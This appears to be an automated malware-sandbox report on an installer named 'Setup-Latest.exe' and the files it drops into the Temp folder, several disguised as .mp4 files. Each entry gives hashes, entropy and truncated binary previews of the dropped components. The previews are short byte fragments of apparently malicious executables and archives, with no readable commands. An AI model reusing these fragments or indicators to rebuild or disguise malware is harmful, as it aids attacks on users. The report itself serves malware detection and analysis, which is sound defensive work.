Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: XKNN9fS4Tr.exe, Detection: malicious, Browse Filename: qNXDfsU2K7.exe, Detection: malicious, Browse Filename: H5S6rm5oQ9.exe, Detection: malicious, Browse Filename: qNXDfsU2K7.exe, Detection: malicious, Browse Filename: H5S6rm5oQ9.exe, Detection: malicious, Browse Filename: ThsoAuzU1L.exe, Detection: malicious, Browse Filename: ThsoAuzU1L.exe, Detection: malicious, Browse Filename: AxQgcpYNXx.exe, Detection: malicious, Browse Filename: nykfsekawddd.exe, Detection: malicious, Browse Filename: random.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Accountability

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	133120
Entropy (8bit):	6.645929421393436
Encrypted:	false
SSDEEP:	3072:gPtCZEMnVIPPBxT/sZydTmRxlHS3NxrHSBRtNPnj04:OCOMVIPPL/sZ7HS3zcNPj04
MD5:	F698F3B6BD4FD4C90ED5935292EB2BFE
SHA1:	2DB7423AE317279AE1372FC3CF8FF2460656C38A
SHA-256:	7DCFF8D7A4B6CB306DC97F5F7DB57A36E56E13A1CFC17D3AB9836E9B5785CA59
SHA-512:	5D2601379130FA22D11FE1F9D6D399BFA4236066E8C0624CD2FA077792FDA27496D1663B22890A0DD1279E4ABC21C3AB28AF97791CF5679E178BA335BFB548E5
Malicious:	false
Preview:	.......u..u..u..u.WVS."....f....u$.u .u..u.QPQWVS.....J....u..u.WVQ.....7....u$.u .u..u.QP.u.WVS.i.........u$.u .u..u.QP.u.WVS...........u$.u .u..u.QP.u.WVS..........u$.u .u..u.QP.u.WVS.a........u$.u .u..u.QP.u.WVS.g........u..u.WVQ..........u$.u .u..u.QP.u.QVS.....p....E..k...W......}..u..E.3.f9.......3.....3.9Cpu'.{\|Uu!..........u.9.....u..........L...P.......Cl.............s\|PVS.6....M(.#....}..t..}.........6..d.I...3.PPj1.6.E ..H.I..= .I.PS..U....E..P.....YVS..u.S.6..`.I..E....t-...t ...t....u&.U.M.... .U.M......M......M.U....M ..]...9}.u.9{dt..=.(M..t..A..Cd9}.u.9{`t..=.(M..t..B..C`.u..sd.s`.s\.sX.6....I..}..=..........t......................7....sPW......3....sTW....../...W.i....M.....e...E...%...f.E.f..........f.E.f.......}....E.+E.f...........E.+E.f............U..E..............U......E..............E.....j...L.I.)E......U..E..f.......8.....}.+E..E...E...}....}.+..E.f............E..E......}.+E..E......}....}.+...f............E.f............E.U..}..

C:\Users\user\AppData\Local\Temp\Always.mp4

Download File

Process:	C:\Users\user\Desktop\Setup-Latest.exe
File Type:	Microsoft Cabinet archive data, 489741 bytes, 10 files, at 0x2c +A "Volunteers" +A "Exhibits", ID 9105, number 1, 29 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	489741
Entropy (8bit):	7.9986047267742455
Encrypted:	true
SSDEEP:	6144:DN9qPTbjHx/odUKCCYfpQ4AW6YaHzXt7r6jFZk3NAM/eXNwVySGOy6eCkgnnJCT:hkP7BoEp16YEXt/yFWAMmdwVHj7LnU
MD5:	8A00B16DC3B76945617792CC65186BF6
SHA1:	7ED328CCFD7E0E3617935E40FDD62958D86CD262
SHA-256:	A38EF22B27199FFE04DCD923DF199C475AB63E2B31943AE72F3A37F6161349C1
SHA-512:	02EA60B55ACF4DE07D8DA8573290BD8F12B1E546A71050F979BF4CCC60F500EBE35F73EA0063130784CB0AC7023EB6228650664E51E22583627C13B875CF5358
Malicious:	false
Preview:	MSCF.....y......,................#..-.......\|.........NZzc .Volunteers.....\|.....NZzc .Exhibits..\|..\|.....NZzc .Textbooks.....\|1....NZzc .Labor.....\<....NZzc .Decorating.....\8....NZzc .Fails.....\D....NZzc .Suggestions.....\.....NZzc .Accountability.....\.....NZzc .Pavilion.....\p....NZzc .Uniform......?..CK.;.<.... .RQ.i.z..k.R^...LzZ,Ev.).".$....-...5.e....Ha4B.B......5....f.{...>..~...s...=.mJn.^u.2.....K.E.QM..r....;.pb..U. .&..p..O..bVM?......7..X.x..Y...(+.............?..2s.T....\|.....V...K.2..p1.:.......qa{K.......T=..'<'....I./?9.+...0.JU....KJ.i..U.G.-..G4Z."..%9.,.J.....v.X....W..%=........_.].K.xc........n-\|...Rl;..@......9.b.yY;.o..=...4..\|l....N..d...9$k._......O..........&M........+.(...#n1.-s.W..}.b3......~)...O/..>+...P$.......u/.L.._u..PU].........s...Y:..?.,...?.rCk.?.e..4...k....#A..36.$..".wR.%./.9..f..2=..-.+l..<Q~;...Vo.>C..8~r.VF3...6..../n.....^.f....3J..y..M...`.h..6.NX....,h.ORf....#.....f..[9[f..L1.t..j..

C:\Users\user\AppData\Local\Temp\Complimentary.mp4

Download File

Process:	C:\Users\user\Desktop\Setup-Latest.exe
File Type:	data
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	7.996211037507376
Encrypted:	true
SSDEEP:	1536:TFyNgUyeb/zTf5PlApu1UY/V7cIvfe1GV:42UHb/f5Psu9V7BvfN
MD5:	42198DA674D4400E907AEB635DB5BCD1
SHA1:	662EDDC12E98C75C654CB6A458AD31B1C9E8314E
SHA-256:	F025D7132A2C77BD9C87C3707FEF4AB64CC162DF67B6727432C9831BDF11BBA9
SHA-512:	EC32A212887F783CE1469EFBA7E440BEE22E07E591A11CE4ED6FB0634F04AD8897E4AF5CA33430B90B066894518F5FD2E2533306249B266A77BC218B9F3A1E82
Malicious:	false
Preview:	..C^.c..<.`\ZX...y.Z).Z.Z.J.9...@.4.n.F......X[..dm...&t.9G..l6.....!....i...bl~.J.T.H9.?....5.S....H...."&.A^....S.t..H...S."Jt.t.....3..$.! ..Zi...........K.[...S.....o.......j%F.0..)..[../.&@...!~......t!).q....6..;..-.].cq.t..w5.#g.....[i...lJ...g..x........J......q...M...."........t.....W.... y..!q%.)\m#....^E......d.=?...5D~g..i....k.:k..`...vV.$....;O61K..K..?>r57}.....m.+.h<...=....<[Yg_.I..._yB..Q...U..HK..JK...Q..f7o..p...l...<{u.[.f.d.'.%..@.........e.")..........V..3.m....\2#.M....u\...S....1.....+'})n`h.i..'._...w..q..HN.?.U..h&v.e..a.].(w.^.b.%.....N...{...p..1..^h...E..{.`x@x..i(.B>..$i2&....E..^n.B....e.].U..c$;..........\C4p...GT....u..G9z.BE`..Z..d.3..F..y.....<.v.@..G....!.T._..]..6P.r..^!T/.....+8..^.6o..cF.k-.8Md.-...N^.M....T..,.....]..!\|.v#"./.m~.F..U..H7....Cug..V.E6.P.&c....X...N]..s.J....&...r<...7..P......p(m..^P..(.0.r.=.y.`....mK......}Z....-R\|..v.q....QO..N...M8)N:.........j...`y.%..j..ams.....

C:\Users\user\AppData\Local\Temp\Darkness.mp4

Download File

Process:	C:\Users\user\Desktop\Setup-Latest.exe
File Type:	data
Category:	dropped
Size (bytes):	78848
Entropy (8bit):	7.997501346535409
Encrypted:	true
SSDEEP:	1536:n7KTPXmnpm3M4oiEjfyqp7rUfbFMYafRxCTNARqbOxRl/TVRTsfIXKXqd:n7UASM4fEjJ7rb5LCpAkbOxRV/TaIaXU
MD5:	ACDA51733A848A5C4A9D1381EFFC0823
SHA1:	196639CA7174C9D1E817D042A5CC6703E4F7C804
SHA-256:	B4337E189ED65C122965008A94764C34FC61AD4796F62C3A407BB758D50FB482
SHA-512:	CC01602B242D832D38C86985FC64F7B92E1592E615EB46372A2D5ADCCCA0E599F6053262A98774774F0DCDF083C5BBF9618A6B678A8C53A9C2881A99B783EE8B
Malicious:	false
Preview:	...>..f.[.....h.8w.B..9.......`.....u.j#.R...j...K...HJ.........Kt.'@.....5.&A)....w....... CT.Y...".7..).T..A.BJ.......`.R..b........6..Z..;T.. ...Y}x.i.jT.....i.....<..x....`.S.6..fGdx..8.HI%5.3..bk6Qny&.@.z.d.z.ipZ.n.>..#...m...5.....C.......ze..o.....f.4w.u..5x..U...YU.q.."../b<..}..}.i5...Td=h...9D...p.ygzu..y:...?...4j./.q.\|.}...,....u....$.%!>A+....t6W2..l....n......n...A~/=.z>.a\y.C.+u"..........8........k...m..L.y......(.eM.0.9....I..R.\|....UO...&^9h.q....P.>.-sf..Ti.H..I.]pY .9...=..6.....2....)....I^Gor..}&C....A1..O.V..:?...g.....akZ.\|.b?....>...9.?z.d..3..&..;..=>.2AZ...%.$p4.y,V...9'Zs...P.-...r).G....54....e.....D.F8....\7...7..G...ZA...C...?....o..Z.Wg.CB.'...a..FZxG8...s]..P=c._.SX..+..K. .....;+s.&......m.j-.........A...P.....-..M.o1.U.j..k.a....6A/..K.Eb..S..L.......l.c..B......1G./<%!.{...q*...Vd.)X.........}.u6.6-\.4mM..;c.Q.g.0(.r]#S..Vs....p..FC...q...{+.@2..\.F".=ne.;l....T]x......Y=o.'oTE..Zr.(....

C:\Users\user\AppData\Local\Temp\Decorating

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	130048
Entropy (8bit):	5.114601341913769
Encrypted:	false
SSDEEP:	1536:rKaj6iTcPAsAhxjgarB/5el3EYrDWyu0uS:b6whxjgarB/5elDWy4S
MD5:	36B2425AC79B2809A72223B7AE0CB33D
SHA1:	7919B6F47C5EA581150023C38FA002BBAC236C1B
SHA-256:	0E93C1BB7974B0786D02F13FE1639C6E6EC7272F8621AC48BD06A776FA89BC9B
SHA-512:	97549DCB3BF11301EC222AF0A4675E438373312F73EE7D2A43649F985E19545D69BDE65398B8FE8D8BEE0A0CADA92DBF6197E4F06CBC57AD38A4C6D306C94CF5
Malicious:	false
Preview:	&.&.&.&.&.&.%.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.%.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.%.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.%.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.%.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.%.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.%.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.%.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.%.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.%.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.%.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.%.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.%.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.%.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.%.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.%.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.%.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.%.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.&.

C:\Users\user\AppData\Local\Temp\Exhibits

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	6.742620741375466
Encrypted:	false
SSDEEP:	768:FdimkIXqURPN2mldrfa04VQv7Qf0VosQE7YmFdni8yDJ6bV6ybB:FyI7P4Cxi8q0vQEcmFdni8yDGVFB
MD5:	B5377B1F52750982FDD6CAD5B4E0AF57
SHA1:	FD12ABEEC698A60DDC8E1F8034FBCFC2ADF38ECD
SHA-256:	711A009FC9914B08D16B79013FA4E70A3DE2A50B83388B89A138AB2C54E0E62C
SHA-512:	8FCF1254EAD772C2D1D0C5425B81CE6EA7703872AB5A83E43ABB8DE54CA8FDCEE164D7F3873E8F8F1A44F88882E4A9ECC1F1F5BA658BBEF2643A62E07C9CEAD9
Malicious:	false
Preview:	u.W...Y..K_... ..V_.........^...........v....U..QQV.u.WV........Y;.u..._............M.u..M.Q.u..u.P....I...u...0.I.P.^..Y..E..U.#.;.t.E....?...k.0.....M..d1(._^..]..U...u..u..u..u..g......]..U...u..u..u..u..Q......]..U.........$..~.$.......f..D$.f...f.(..?J.f.(5.?J.f.(..?J.f.(..@J.f....%......@..+.-.<...........(...f.Y.f.X.f.(.f.\.f.Y.f.(%.@J.f.Y.f.(- @J.f.\.f.~....?........f.\.f.(.@.J.f.Y.f.(.f.Y.f.X...Y...X.f...f.o5.?J.f...f.o5.?J.f...f.s..f.Y...X.f.V.f.....X...~.....\|...w...Y.....X.f..D$..D$.........\|$.f.T$.f....f..$.,$....+.f.o5.?J.f........f.n.f.s.4f.V......f.n.f.s.4f...$..$f..t$..D$.....f..$$..$....$f...$.l$....f................s'...t).Z......r...+#..rJw..T$....9..r<.................f..D$..T$......T$.....T$...$.?...f..D$.......f..D$..D$.....=....s1.D$.=....s.f...`@J...Y.......f...h@J...Y.......T$.=....w....u..D$.=....u...P@J....X@J.......V....D$.%....=...@s.f..D$...X.0@J....f..D$..D$.....I.U...0...S..\....PQR.&...<.ZYXu..!.....8........[.....z......U...

C:\Users\user\AppData\Local\Temp\Fails

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	134144
Entropy (8bit):	6.62536518575565
Encrypted:	false
SSDEEP:	3072:4EoXnmowS2u5hVOoQ7t8T6pUkBJR8CThpmESv+AqVnBypIbv18mLtG:4Eo3tb2j6AUkB0CThp6vmVnjpG
MD5:	E944BD961E9991CE3F56C2F01297F2DA
SHA1:	B44DEFD6FC45DEC2B78A737338252E5D3A6F6AF6
SHA-256:	285566E938AA29AA79B3F4091E00241C9B727C087F845782A062290D6D433556
SHA-512:	3E7ECF91C321C5DAFD2B794BEBC994D5B1128D227C48482B68EF5AFF3094C32339FBBD20DE788AAE9DED3C15655CFC3BF989FC8BF23770DA8831376ABE5B48AD
Malicious:	false
Preview:	_.M.QP....I..].M.;.~.....].M.U..E.;.~..U...E..U.+.+.].j.R.A..+.Q..k....V..}.+.P.u.....I.h.....wT.. .I..E...tO.M.QP....I..M.E.;.~..E.M.U..M.;.~.....U..M.j.Xj.+...Q+.S..Vj..u.....I......h.....wT.. .I...t.j..N.QSj.j.P....I.j.j..wT..X.I.[_^....U..}.....V..u.h..I..N4....j..vT....I.^]...U..=.#M..u.3.]...].....U..Q.E.V.5.#M.............th-....tL...t.H...u..u........t..E....t#...t.3..eh..I..N4.....j..vT....I..H........?.~T.u..E..FT........-.E..@......@.r......M......P.....P.u..`...3.@^....SV..W..W.s......Y;.u.....t.+........f;.u.......u.3...u..........@..2._^[.U....SV..E.W3.P...oL..N..F......Y..I....E..F.$.K..^..^ .^$.F(.@..F,.E.P..l.I.j..].].[.E.P.N........u.E.P..p.I..M...}.._..^[....VW...W,...oL....G(.H..D.....B.....w(.F.H;.r..N..N..F.j..4..\....F.YY.N..w..$.............$.K.......v..x...Y.O._^.\|..U..V....$.K......v..T....E..Yt.j.V.....YY..^]...VW..3..G..40..p.I......$\|._^.U..E....VW..tH.}...tA.0.M..H...M..<X...u..u.....I.3.....oL..U..+.....u.F...r.M...R......._^.

C:\Users\user\AppData\Local\Temp\Fares.mp4

Download File

Process:	C:\Users\user\Desktop\Setup-Latest.exe
File Type:	data
Category:	dropped
Size (bytes):	89088
Entropy (8bit):	7.998024929852032
Encrypted:	true
SSDEEP:	1536:uBOWz+HX19EjSTAq3O0PYu1O1UbwtxGSFI07qip9c4nX7x68GPEp+BAt:uBjy9G8Aq+4Yu1O1UEtxGSFIu/EPLAt
MD5:	76D4FF100C071819B2DE04CEAB6750DE
SHA1:	937989AF928F319B5A4A7D40A0A16489524856CC
SHA-256:	0F27EE47C58241BC7C6D5A1B2F7F1FE731236470F01E09CF2BD92368DD4A25FF
SHA-512:	1D14FC8C5C759781377011FA6B91FA835DA529FB967B55A6621847B2D8434D8233CFAF771CC304FED4D14CBFE05F1C8505B082E7326E7725DE21DAE642358133
Malicious:	false
Preview:	.-=P.q..uv8.Iw.P.4.`O..f.Q.B..i.h.v.[..O`;2.....$.W.......~......Y......+b...~... ....Qi.....R3.H..m6.0.=.......P.e....!.TNq...n..$.P...f..!.Q.{...r.U..7..<l.....A.z.v5.R...?....1.XW?A...........a\|..Ac.K...ZTe...^.'.....s.u&.>..Y...1...c+.A.M<...S.}.2fteV...c.....Z..$.........C.aXR.X.n......D...?z.vH..'vT.....~..T=\O...V.G^b=....D..J.R.x)....pl.l...B.#...y........y.BJ........[.HX.6.4"F.?.../.......s.d...........E.L..+...dj.+J.....ns....uQ......>.v..a......IJj0.t..../5.........g......G...q.c..=....i.o5I..M.........}.U.6...1...\|:.\.8.q+..ntf..N6..I...#e.;.)..=..="C.Ky.A.y......T..U...xu...L.o.jD...mB...$a.."....HT.._m.U6..I6....rJ6K..d..9W-awF^Z....Hp...M...Z...-..}.0y..k..2)...!.y....Y."..E.lb...............4hM.b........'.7.s.(...6..q}..P..V%.;%.{.Ev.....4x$.c.~o'(...2.c'....g.zx..CD...vN... 8.....2.0.d.y-.....~...i...J.l..Dx..J.XW..U..1..f.u....K.,s..T'.\|.7j.R=.W......1k.}'.T.K....U.K..H. .....X.,....o.....[i1.....Xh..Z.....$...Y.X...

C:\Users\user\AppData\Local\Temp\Funding.mp4

Download File

Process:	C:\Users\user\Desktop\Setup-Latest.exe
File Type:	data
Category:	dropped
Size (bytes):	79872
Entropy (8bit):	7.997941219659233
Encrypted:	true
SSDEEP:	1536:uneKSn9qjv0EsYW80dqjgcX4bzuMu4YLzkkr3+ZC2h1QLraxGH2EB:uNSSvRs38hmSDdzkkrI1+axGWe
MD5:	A066F57F4D5CAE1EA0B806C0E1587133
SHA1:	A4905E6345D73086429135F327A3C77F52090F90
SHA-256:	7B43310D8618C20E573DF349732318096A3CE767E961291063885B1FCD46F09A
SHA-512:	618478494C12809418207ABAE29159CB7D1128EB08D708F9DCB5DEDE933D4CA6AD488179E253DBAEDB4E3B51DDEF43ECAA82470BDAED53983D51165163501BF2
Malicious:	false
Preview:	.U....).z..`...R.iy......:.[.H...Tz+x..D....N...<.L.(..AK.P....2...J.i......x...;K...3..U.!1..h......dU~/.G...z...X=.H...N.n..3..x.4b..b.8I...8.;}................J..Q...,I`.!..\H....1...5:=Rg........$Mj.........N....3.]q..F.AB5..G..Z........ 5..7zRB..zA.....cB..?..+y..7T.a.9.....e.4W....DuD.V..B..0P...G../.-Q..6....>.4......ZQ.}q..;...J2...7\|.Tpvg>-.i..n.5.....j..+b.9......6...Lu.&..jfm.jq.....5u.._.n}..^....!...6.....v.b..\|.SO..v=.W...Q..G..Q.V.n.....y.........\.aR....."..7y&.+.d.1:1g.u\>f........./....K..3.I.xL..c..&.b..q..,.5.%...x...g#\|EO..O..-]D$.aRX....... .q..H......h...6/...0#.8..?.ek"..c.....7j5iP.G.HPk....X..G..\|...[..'....j.(b<.i,F1.7.E]=P...STK/..W...s/.by....i....Y.`... .&....?..z.!..yM......,jt.I....,...+^....q...s.D.&( ..f..q....F.~2....S0.X......\.cdx...>t.,....o.W....'o...G..1O;..g.v'.fDG._..<H.3Lp...T.~).+&..=gP....=..}..%..Y.v..M=...x.Aw#X..V.H...f....i..l.Ct.....8....../O}I.....\|i...[.....x.. .....7S....

C:\Users\user\AppData\Local\Temp\Labor

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	2784
Entropy (8bit):	5.456016014097095
Encrypted:	false
SSDEEP:	48:A9n9mTsCNvEQH5O5U1nPKrhBzM1FoMPhfq1koCqxLVJcd2u+MAyKnFH5:cSEA5O5W+MfH5S1CqlVJcI6ml5
MD5:	0BB664EEFFB2A88D13658DA64847AFEF
SHA1:	DF934CA820F5A29682259241CE704C8711B174FE
SHA-256:	2A00E6652DD2C4B5BE810FC60BE8DA1D6A75443C98387FF9A23C42FB7013E894
SHA-512:	EF6194A216815F9554B58F019897DF8F6068616B5AB5873DD6E7482445D68E68DA5AA4EEED9EE3C649AA61891AFA1B7BCF9903603D3843C64BD62286C597B4FD
Malicious:	false
Preview:	Yang........................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B............................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Oaks.mp4

Download File

Process:	C:\Users\user\Desktop\Setup-Latest.exe
File Type:	data
Category:	dropped
Size (bytes):	80896
Entropy (8bit):	7.997712148076008
Encrypted:	true
SSDEEP:	1536:ChYwoz3JBCfmLj6irSrB5y67uj5aszsRYZmBgxepzeq/jEyln2gjGwl7RNiyU:eYww3JBmmLjlrSrf7W53JoBgkleqbEMA
MD5:	5EA3B8B3C56EE7D1351B01CB894D37FB
SHA1:	CDFB9E72F0463FD5110F20C2E3D68C2CE1979C6C
SHA-256:	31EF6BDDE2159CF40BA21DC10C0A24918FC2A93808343FB2B55679558477718F
SHA-512:	AB83F5AB0EF9E6ABCAA7A29400B6D2E75D92771191F5B8A4AE107EFB6F1E891F6A9565C2FE0C684073AA9A10EB6802067811D4BB90109357DCBA6800BA00BB37
Malicious:	false
Preview:	..k.k",IJK......qt.....G.(...]...%..j........GTd..r.......<.7.(.e.1_..g....9N.w....L.)\|...A..j..bp~_.\|..H>./u..Ll..xq@......2.=.U.>.;.2?c.............r......s.&......."....G=.....U..k.. ..E......f..z..!.1.../.H......#..c.;~.y.......T..^.+......:...O...2QIK..n........G..~.i.....'..Q.... $.......B ....}.9.=.U.c8.u..\.t...T{.E].].h.L.h7..$..[..w.,.pW..H...lYdf...dN..>f._..y!5..Y......F%.b.R..Y..+......qx!....Q.......N..]..;D.L.B.......p.6.8=.p..o....Na..#..ys.KJHU...D{.~.....YG...^..-c.<...?...z..[.>i...xj.R....T...hQva.@.n..\O....#fH..M@l..l".&G..lm.m-...!..y.!C...K^.wj..e.Q.?_.L...V4&........u.1...:...?..x....T..f'h-...On.N..]3.mKF.B....).$_..y..Rz:.....VB.g.I,.t..5;k...............H....h....&.H...=P...h.j...8)b.%.......Cc!...._....QG..:?..\.........?%.. .^C.F1.0z...f....9e.@...9..F.....X{....D......?Ar..!U3..G.....[..`Y~.....Q.<'....PKh.x.e}X..Y:3v<.>......\|..!.....yL!.......Z..h..k...L.z.kk.#.w)..gt...I..BC..4<...W.........\|.^.k...{"N..

C:\Users\user\AppData\Local\Temp\Pavilion

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	102400
Entropy (8bit):	6.403516475628563
Encrypted:	false
SSDEEP:	3072:WfhnueoMmOqDoioO5bLezW9FfTut/Dde6u640ewy4Za9coRC2jfF:WfhnvO5bLezWWt/Dd314V14ZgP0w
MD5:	51A069ED9281718F826D41478B0A7549
SHA1:	70B6E51126DC21BEDF646FC640DD623C88BDC431
SHA-256:	1FE97DF39FAA189EC1B9106E2745590ADC28B4D53A69E1DCF52D163913114877
SHA-512:	FD2A5353F8CBE0432FC6840C568828FD4F21A6AA3C981311AD9034B5B542BDDC73E32B117B952AD66868DCBA0EB5FDBBD7ED33B97F0B19EC444E4AB977F8A544
Malicious:	false
Preview:	....t...t..R..z..u(..p....t....E....@..D......@.Ph........._^[....U.....E...d.x..SVW.}...u.P.E.WP.........3..D$ ..I..D$P.\$$.L$@.\$(.\$,.\$P.\$X.D$\.....D$...K...E....M..\$..@..D$........D$.uH.....@.Ph............L$@..I...L$P..r...L$ .D$ ..I..^....t$$..............j5_.\|$.f9y.u!.\|$@;9.}.t..1.L$D..J...E....@.B.....jG_.L$.f9y..}........B.....D$ PW.u.........g....E....D$......@.....D$...@...L$.f;D$.......jGXf;........L$..............t$@.L$d.>...D$...P.D$$P.D$hP.u..t$ .6......L$`.....H...........E....@....f.x..t8..@...Pjr...........9\$Dt......P....D$...@.Ph........3......B..\$0j.....D$4.\$<PW.u..D$L..........x .E....@....f.x..t...@...Pjr.p....L$0.&q......P....D$....f..A.......t$@.L$d.=...D$...P.D$$P.D$hP.u.S.;......L$`.....G....tp....Rt[...t9...t$...t..L$..D$0P....-.t$..L$4..H...:.L$..D$0P.......L$..D$0P.9H...t$..L$4.>.....t$..L$4..N...D$0P.L$$.....t$@.L$d..<...D$ ..P.D$dP.u.......L$`..."G...L$0.!p...Q.t$@.L$d.<...D$...P.D$$P.D$hP.u..t$ .J......L$`.....F...........t$

C:\Users\user\AppData\Local\Temp\Relate.mp4

Download File

Process:	C:\Users\user\Desktop\Setup-Latest.exe
File Type:	data
Category:	dropped
Size (bytes):	58531
Entropy (8bit):	7.996297027203052
Encrypted:	true
SSDEEP:	1536:4hRRNQUI7rdU1UDl5nD9glLCxGsASWrTy:4hRDwxsilJD9gFCxGsPf
MD5:	FEC8E7AB6AAD11105BF0C6CFD0303849
SHA1:	F497AF8EF0F220F5A88DCE5871C8AE072782E8DE
SHA-256:	97992CC1EBB37AE53971AD56E234E8157CCA8D93C69497747C9FB77EAAE8E050
SHA-512:	F2CBB554BF6C4F371A894A4CFE27584B6E6D8C7FC052FE9A912E9482BA5CB4C9986F12DFA815153175E187575225A91FD1AAAADF882D549C68C55FCAAA61FEB8
Malicious:	false
Preview:	....l=......g =/:...A.`...V......7.G..VI.a...,$%........$....~....6.....lU&.o-.....V..+}\|7...1...(..h....%.......Pw..j...od..9.B\KNQ........~.X.P.ZF[+...n<yb...........VS.....@...!l.v..3.a..H.=X..S..G.TV....w.h.pZ..-.@..}..7.:.Tm.20.#.U..)..ve.T..S..4Cf....`..M&..6T.)o..I.#.nS..........rS...P..O....3..Z..3.J.\...........[.s...w-..2.r..`..............l..x<..A.;..@9..=....M.A...2..\|.."...C{>.S....B.p8.Uw.v.a..D.#?..P..\.B..,W.X-.LA.t2J\|.i.....F.X.._7&...-ru..-P.2.+.....N..p.....t.L...a.6..s....~.#.Q.UR.Pf+.{F...R.@..r01.f).i.g..hN..zt..o)E.}.!Z...O..uc]B.6..!.u..#.E..mt.2?.g%..H..Q...\(zx...I0&.2..7.7.~ .../.......Qs...k.5Q../....%F...[^..oK...>.P.t.t...2TQ.3.>H.,..\.F...L{b.@..O..{IB~...M97...I ..x....... HH......7.X+M...qJ..&.A/.f'o.R8....}.T..un....."?).Bc...>....h.)..+ki.:a,.1~LT...\+..`...t.$..L...rdAMU.....yj.l..[9G.X.WnP3cd....i.>..f\az/9..o.B.<...nH.g... ..p.4.?.\|...gI..z...8..?.o......$L.Z.IYKG!S.>....m .0[NX...v.;rn(..i..

C:\Users\user\AppData\Local\Temp\Strikes.mp4

Download File

Process:	C:\Users\user\Desktop\Setup-Latest.exe
File Type:	data
Category:	dropped
Size (bytes):	91136
Entropy (8bit):	7.997765180053721
Encrypted:	true
SSDEEP:	1536:BWTUkNhPcMSPVpVeJN4oR7q8UODkTYRMJn6/ju9xPR3jrwK35t4E:BWTxNhPcMStXeJhq8VkTh6YxJ33wsbz
MD5:	6DC907CAD908B929CA1F16C09ECCC57B
SHA1:	89C98295B3CAF422021B966D3F0DF18E83CA70F5
SHA-256:	FDEECBF6166F5CEFF982C7A4131589CA3AF7F71F8B5C4F4BABFAA53B973D9EDF
SHA-512:	153351CF07D1622BE5182E6AF4F45D7C1CD28121CD2034677A7358EAE5B52F5B47A4AB82F1464923BAE6716EAA5C2F91703D97E79D117E6006374FF3791C83AE
Malicious:	false
Preview:	..-..8....J3....K.z..R:...H.:....".F. ...B5.4L,.....Fu.k..5.1..uSw.J.\|....>...Xt........tyN[V;.<....v.:<6.f'R..=..k\|..].].Q....DL..:.h....v"t.!...h.T..e.2.^...M."..Ny.nb...:.e............X..(+R.k.w..L....I.gg.....2O0C......}.5H..B....~.l.3KB..ZM..;.......A:u..e..0.4..v+..p..."..{O.b-.;..~.2p.o.$.;.(....C.!...x_..Z[....3..........+R..q_...\|l..q....d.JUC.,..7..%.3P.}.t-.+..?~..f+.\"`.p..D....F..!....n..j..{.s......HU./p.o.48w...a.Y.x....w.I..~\|....!bm../.j...f.o...V....C.'..3..~.4:?....gJs...\|....-C.........x1.0.........D..J.....+...^.g.\|...>L....zj&PO.q.6.....]..k.[jG...~.L.i.!...>S..?1..D4.qG.m.m....l......I....).SN}Z.}....r.^..@......RF..x.u......1.....z>...{..XM......S..SD.....E......0.....4V.m}.~...M&.c.j.W..I+1m/.;sU.....18=.b.5.....!=......N&.SZO.A..t.2...[.8y.\|.<